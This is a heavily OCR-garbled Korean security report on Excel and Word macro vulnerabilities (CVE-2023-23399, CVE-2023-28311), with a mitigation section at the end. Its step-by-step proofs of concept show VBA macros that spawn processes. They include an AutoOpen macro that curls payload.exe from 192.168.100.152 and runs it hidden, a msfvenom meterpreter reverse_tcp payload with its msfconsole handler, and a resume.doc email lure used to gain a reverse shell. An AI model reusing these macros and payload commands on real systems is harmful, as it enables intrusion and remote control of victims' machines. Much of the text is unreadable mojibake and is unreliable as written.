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Impact on Email Cyber-Attacks
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office productivity > Microsoft > Excel VBA

Macros and VBA Learn Fast with ChatGPT

Save years of study and learn VBA and process automation with the current and

fastest growing revolutionary method
business > electronic commerce > ChatGPT

m 5.0 % % % % % (6 ratings) 1,017 students

Coveiiacios by ChatGPT Megacourse: Master Excel
8 legoascs i . Automation and Al Tools

Boost your efficiency and Excel skills with this guide to Excel Automation

[ZTTE Sl 4.3 & % % % ¥ (4 ratings) 2,056 students
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ofgfe] TE Excel(CVE-2023-23399) FoFd x5 ALt wjHo=g, ol & o] HH2 B
CVE-2023-23399 of gk ¥rg 4= Qi

S/W & B
Current Channel: Version 2302 (Build 16130.20306)
Monthly Enterprise Channel: Version 2301 (Build 16026.20238)
Monthly Enterprise Channel: Version 2212 (Build 15928.20298)
Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578)
Microsoft M& Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944)
Office 2021 Retail: Version 2301 (Build 16130.20306)
Office 2019 Retail: Version 2302 (Build 16130.20306)
Office 2016 Retail: Version 2302 (Build 16130.20306)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481)
Office 2019 Volume Licensed: Version 1808 (Build 10396.20023)
X Android, iOS, Mac, & & Outlook(OWA) 3! CtE Microsoft 365 AlH|A= Fek2 BEX| =Lt

ol o] Ei= Word(CVE-2023-28311)2] #oFd wjx]& g3t WAoo ol & oA AL
I CVE-2023-28311 9] 98ke ¥re 4= 9lt}

S/W 7& B
Current Channel: Version 2303 (Build 16227.20280)
Monthly Enterprise Channel: Version 2302 (Build 16130.20394)
Monthly Enterprise Channel: Version 2301 (Build 16026.20274)
Semi-Annual Enterprise Channel (Preview): Version 2302 (Build 16130.20394)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20626)
Microsoft M= Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20964)
Office 2021 Retail: Version 2303 (Build 16227.20280)
Office 2019 Retail: Version 2303 (Build 16227.20280)
Office 2016 Retail: Version 2303 (Build 16227.20280)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20493)
Office 2019 Volume Licensed: Version 1808 (Build 10397.20021)
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HAE $74E 5519 CVE-2023-23397, CVE-2023-28311 5% #4S Ak}
Windows 10 Version 22H2 (OS Build 19045.2846)
| off xt MSO 365 Office Build
(15.0.4517.1504 32-bit)
Windows 10 Version 22H2 (OS Build 19045.2006)
kali-linux-2023 (6.1.0-kali5-amd64)
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Step 1. CVE-2023-23399 <4 HAE
Step 1) Excel +A1E& 4] Sheet 2 7/H& A3 ¥, View —) Macros —» View Macros

il
iy
L)
e
i}

Bookl - Bxcel Sign in Eal

Home Insert Page Layout Farmulas Data Rwie@ Help Q Tell me {Q'_ Share

= = :
[£] Page Layout 5 Q [E:' = MewWindow EE
ol = Arrange All o )
Normal Page Break {5 Custom Views Show  Zoom 100% Zoomto Switch =
Preview M Selection B Freeze Panes ~ Windows ~ |
Woarkbook Views Zoaom Window e
Al - fe . .lj Record Macro...
Use Relative References
A B [ C . D . E [ F . G . H [ | . il 1 ~ 1
1 |

Step 2) WiAR 4 o1ES PHUT F, A4 HES Fe

Workbook Views Macro 7 X Macros ~
Al - Macro name:
RCE | + Run

A 1 B 1 1 J 1 K ] -
1 Step Into
2 | Edit
3
A
3 o Delete
i)
?_ Options...
3_
g Macros in: | Book2 e
10_ Description
11 |
12_
13_ Cancel
14 i

| Sheet1 | Sheetz | [ 4 Y

a9 5. a2z 34
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Step 3) Sheetl olli= RCE #9F4, Sheet2 o= ¢4 URL & A45t= PoC Z =5 AU

Project - VBAProject EI @8 - Sheet! (Code)
E . E I(General}
8- :ﬁ N ]{Bmlr).} cig Private Sub Worksheest SelectionChange (ByVal Target As Range)
E' If Hot Intersect(Target, Range ("Al"™)) Is Nothing Then
: RCE
= End If
- :i ThisWorkbook fod on
E1-E5 Modules =
we2 Module1 Sub RCE ()
Dim Program As String
Dim TaskID As Double
On Error Resume Next
Program = "calc.exe"
TaskID = Shell (Program, 1)
If Err <> 0 Then
MsgBox "Can't start " & Program
End If
Properties - Sheet1 | End Sub

a9 6. 28 £2A IE= RCE A4¢Y

Private Sub WorkSHeet_SelectionChange(ByVal Target As Range)
-> O &= A1 20| 28 2 A, W d+& Hdst= =0l

Sub RCE

-> Dim 2 E3|| Program H40f calcexe 2EXE A7) &SI, shell 45 ARSI
AMasict ol FH® QX0 S§EE[= vbNormalFocus Zte 1 2 MHSI0 Z2MAZ
Aot oz HASIEE iCh

Project - VBAProject EI IIG-eneral}
B Private Sub WDIkshEEt_SelectiDnChangetBy‘.Fal Target As Range)
Es@ VBAProject (Book2.xls) If TEIIl;_[Et.CDllJIﬂn = 1 Then
(=9 Microsoft Excel Objects drivebydownload
' Sheet1 (Sheet1) End If
End Sub

H] Sheet? (Sheet2

“-3% | ThisWorkbook
Sub drivebydownload()

CreateCkject ("Shell.Application”) .ShellExecute
"microzoft-edgerhttps: f fwww. 2kshieldus .. com™
End Sub

a9 7. )32 44 FE QE URL AL

Private Sub Worksheet_SelectionChange(ByVal Target As Range)

-> O ge= A 20| EXjot= 0| 28 & 4% WRo g+& dddte +0I0}

Q|5 URL H=

Sub drivebydownload
-> ShellApplication ZHE Mot F|, ShellExecute HIMEE &3 Edge E2E2tRME
WS, https://www.skshieldus.com/ # AIO|EE Of= IZEO|CL

(az 7 4
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Step 2) CVE-2023-28311 Fo%Fd HAE
Step 1. CVE-2023-28311 F o Tt VBA & &-8sto] =& AT F PoC HAE F=
27t

il

0 d s resumetxt.doc - Word T EH - O X
HOME INSERT DESIGN PAGE LAYOUT REFEREMCES MAILINGS RE‘urlE‘.ﬁ: VIEW Sign in

Ej D T@gs::ne Ruler Q [E)n |:| R Mew Window EE Er

- Gridlines BE H Arange Al .
Read ' Print Web o Zoom 100% ] Switch*==AMacros
Mode Layout Layout Mavigation Pane LEQ Split Windows = =
Views Show Zoom Window a Bl View Macros

®3 Record Macro...

1% 9. word "l 2 AA 19

1 File Edit View [Insert Format Debug Bun Tools Add-Ins  Window Help
WE-d Y pon @S ET 4@ Ln7 ol g
Project - Project & | (General)
E = Sub Autolpen()
&% Normal Call Shell("cmd.exe /5 /c" & "curl -s http://192.168.100.152 /egst.txt > " _
B@ Project (Resumebxt) & Environ ("TEMP") a_; "\egst.txt && notepad.exe " & Environ ("TEMP") _
-3 Microsoft Word Objects & "\egst.txt", vhbHidden)

a9 10. 22 44Y Drive By Download &4 I E

Sub AutoOpen

-> Shell &+& M85 FE ZEZEONAM curl & O[E34A 192.168.100.152 A{H{2)

eqstixt & CH2RELE O, A Al 4 AMEE =717 28 -s 82 0|83t0] o

E38 2 &7/ 0|7, notepad.exe £ 0|83l TEMP L0 KT = eqstixt LHES EICt
A

p
O, voHidden &2 &3l Shell &7t d¥&l= cmd H2 &S7ICH

AutoOpen

(A% 9 MH)

W o] Adinm of2Hhe txt 71U o] notepad.exe & F3l G™h.

B H S O -
HOME IMNSERT DESIGM PAGE LAYOUT REFEREMCES MAILINGS REVIEW VIEW Sign in
C-] Calibri (Body) -1 - = &= 3= %
| B I U-aex x 80 AaBbCcDe AaBbCcDe AaBbC( [~ -
Pa-ste * A - aby . -A-' Aa - A A TMNormal | TMNoSpac.. Heading1 |z Edll:'ng
Clipboard = Font P Paragraph P Styles ] s

& eqst.tit - Notepad — O >

File Edit Format View Help
EQST Insight

100%  Unix (LF) UTF-8
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Step 1) &AA= Metasploite 285 meterpreter® 7]9F9] reverse shell” ¢t I =& A|Z3ich

/home/kali
windows/x64/meterpreter/reverse_tcp -f exe payload.exe LHO
ST=192.168.100.152 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from th
e payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

Saved as: payload.exe

19 12. msfvenom?®S &-835le] ot AAFE AZ+

$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe LHOST= 192.168.100.152
LPORT=4444

M
- LHOST: Shell Off 2% source IP =&
%

2 port 2 Fa&

S HHOl= TS AI7F 192.168.100.152 IP | 4444 ZEZ AHAG= CH3tE reverse shell 2

payload.exe 2t= O|E22 M-dotCt

5 Metasploic o]gt A% HlAE Lee] §J22, Teket HoFdat BAL AET 4 9 OF 44 m7o

6

meterpreter & WY FAR{EE A6t ZEE AYY & e WEE 4E FAANA AFshs Metasploit 34 #HolzE F

shtolct.

7 reverse shell o]g o1} A& o], WalArt BAA Zow 4L ABsy] o] Wej ZolA Ysulo] 4eHo] Qrt
A2e 478k 71 % shvoltt.

L EFEA, exe A mdol] oMIFE(exploit) FEE FUT 5 A Tt

I~

8 Metasploit o 4] A|Fsl= Fo|2=g BT 5

30
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Step 2) &A A= msfconsole”s S8l meterpreter 715+9] reverse shell A2 dof 11 7|3},

msf6 > use exploit/multi/handler
Using configured payload generic/shell reverse tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.100.152
LHOST = 192.168.100.152

msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > exploit

Handler failed to bind to 192.168.100.152:4444:- -
Started reverse TCP handler on 0.0.0.0:4444

1% 13. reverse shell A3

# use exploit/multi/handler

# set payload windows/x64/meterpreter/reverse_tcp
# set LHOST 192.168.100.152

# set LPORT 4444

# exploit

Step 3) &AA= mafiRtoAl APAMER e A Yt mds AEI = oo ZgH
VBA &&= o233t 2t}

t - Project & |tGeneraI] v| |Aut00pen

E ¥ Suk AutoCpen()

ﬁl‘\k}rmal Call Shell ("cmd.exe /5 fc" & "curl -s http://192.168.100.152/payload.exe > " _
ﬁiject(Resime} & Environ ("TEMP") & "\payload.exe && start /B " _

B@ Microsaft Word Objects & Environ ("TEMP") & "‘\payload.exe™, wvbHidden)

"‘_E. End Sub

-] Modules

¥ 14. VBA FE=

Sub AutoOpen()

Call Shell("cmd.exe /S /c" & "curl -s http://192.168.100.152/payload.exe > " &
Environ("TEMP") & "Wpayload.exe &8& start /B " & Environ("TEMP") & "Hpayload.exe",
vbHidden)

Sub AutoOpen
-> Shell &5 At YE ZEZEOM curl & OI831Af 192.168.100.152 AMH 2|

payload.exe £ CH2 20} H&SHCL

AutoOpen
(a# 13)
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| am excited to subm) resume .doc (Protected View) - Word

vulnerability assessm|

gn Layout References Mailings Review View Help

iles from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View.

In my current role as
measures to protect
addition, | am skilled

1 SECURITY WARNING Macros have been disabled.
IEERTE]

| am excited about th

to clients aligns with

[Your Name]

Thank you for consid 123 Main Street

Q Tell me what you want to do

bn security and a strong

mitigation techniques.
Blyzing network traffic,

hnology and providing

bn and your company.

Sincerely, City, State, Zip Code
Phone: (123) 456-7890
John Smith Email: yourname@gmail.com
19.09 KB 1 file g#fached

) resume .doc 1

a9 15 WY 54 2 W2z 58

Step 5) ©|%, mo[AFe] PC oflA] reverse shell(payload.exe)o] AP, FAZ= &zt PC <]

Aol 350] 7153t

Edit View Help PPID

File Actions

SKTOP-KGTAILGL
indows 10

indows
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CVE-2023-23399 ¢} CVE-2023-28311 A of
5] 8-S Fo5t1, A7} BEEYSE oy Uo|t A5}
sl Ao] Zgsity Esh WS AgstH ¢
ng RS HA MHAoR §A5H A IA| Fasih

Windows Security
.
Scan options
Run a quick, full, custom, or Microsoft Defender
Offline scan.
it Home
| J  Virus & threat protection MNo current threats.
Last scan: 4/30/2023 6:43 AM (custom scan)
2 Account protection 0 threats found.
Scan lasted 1 seconds
@) Firewall & network protection 1 files scanned.
B  App & browser control Allowed threats

o
1o
.

1% 17. Microsoft Defender Scan A3} o} A4 IE HE <d

upzjako 2 XAl HAS] MS Office & YUo|EE 6]] &g 4= Qlt}. Microsoft oA+ VBA &
orgst ofg It FUtete| ol offel ol 4 = XU AR w32 AFEE
Aot E 2] E HjZT}.

eqst_resume (2).doc - Word Sign in 52l

Insert Design Layout References Mailings Review = Help Q Tell me

o |Calibri (Body) |- o
D B I U~ abc x. X° | Po AaBbCcDe | AaBbCeDe AaBbCy .
Fesie 8| A~ ay_-. A~ Ay A A TMormal | TMe Spac... Heading 1 SHTE
Clipboard Fant I Paragraph I Styles ]
a SECURITY RISK Microsoft has blocked macros from running because the source of this file is untrusted. Learn More

a9 18, A=T 4 e A WAz Ae&aA A AR

SHAgE AFR 2L Ao whet RS oM AT 4 9oBR Options 9] Trust Center =
% offe] =S At Aol Fasdith

1. Trusted Locations - MZ[® &= U&= HZ2o| Y

=
2. Trusted Documents - A &|gt %=
3. Macro Setting - {32 &H 4F
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WA, Defaulr °l919] #7102 5§@ F=s 9EA ATk Download 9 2 A7}
450l g B9 el Hewe mael A dgel ZRssb] ] Folsor g,

Trust Center ? *

Trusted Publishers

I Trusted Locations I

Trusted Locations

Warning: All these locations are treated as trusted sources for opening files. If you change or add a lecation, make

Trusted Documents sure that the new location is secure,

Trusted App Catalogs Path Description Date Modified
o User Locations

Add-ins Ch..AppData\Roaming\Microsoft\Templates\  Word 2013 default location: User Ternplates

i\, Files (x86)\Microsoft Office\ Templatesh Word 2013 default location: Application Tem...
C\...pData\Reaming\Microsoft\Word\Startupt,.  Word 2013 default location: StartUp

Policy Locations  Deafault 9_'0‘” EF.J'I-:E‘!EE 'c','.l.g.'élj- 7"_-:‘!% i!.(ﬂ

ActiveX Settings

Macro Settings

Protected View

Message Bar

a7 19. A=stE Bz 4% nd

AFT 2 e A AHES siAd ez dEdloly @59 £A419] tiarg Addit:

Trust Center ? *

Trusted Publishers
Trusted Documents

Trusted Locations
Warning: Trusted Decuments open without any security prompts for macros, ActiveX controls and other types of

Trusted Documents active content in the document. For a Trusted Document, you will not be prompted the next time you open the
) document, even if new active content was added to the document or changes were macde to existing active content.
Trusted App Catalogs Therefore, you should enly trust documents if you trust the source,

Allow documents on a network to be trusted
[ Disable Trusted Documents]Jp_I El %I' 4"‘- QAE -E—)‘-‘I A.I"g 3“ I‘“

Add-ins

ActiveX Settings

Macro Settings Clear all Trusted Documents so that they are no longer trusted

o s

a9 20, AT & e BA 4% nd

shAete s, WAz S2 88 &40 sjAlEol 9lka gelstn VBA
A8 5 QES A

4 9Rel A}

il

Trust Center ? *

Trusted Publishers
Macro Settings
Trusted Locations

() Disable all macros without notification
Trusted Documents . . o
(@ Disable all macros with notification

Trusted App Catalogs (O Disable all macros except digitally signed macros

Add-ins [O Enable all macres (not recommended; potentially dangercus code can run)]

ActiveX Settings =
FCtiver setting Developer Macro Settings

Macro Settings -
: [] Trust access to the VBA project object model -I|:- 7|-I| ‘A‘E'IJ.‘::'!Ol 3“;(‘“5'91%;.' El‘ol_l

-

Protected View

Message Bar

a9 21, i3z 44 7E
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« URL: https://github.com/nullsecurlty/CVE-mitre/blob/main/2023/CVE-2023-28311/docs/report.txt

« URL?: https://github.com/nullsecurlty/CVE—-mitre/tree/main/2023/CVE-2023-23399

« URL: https://www.bankinfosecurity.com/russian—hackers—focused—on—espionage—system—destruction—
a-21091

« URL?: https://ko.darktrace.com/resources/generative—ai—impact—on—email-cyber—attacks

« URL: https://blog.checkpoint.com/2023/03/15/check—point—research—conducts—initial—security—
analysis—of—chatgpt4—highlighting—potential-scenarios—for—accelerated—cybercrime/
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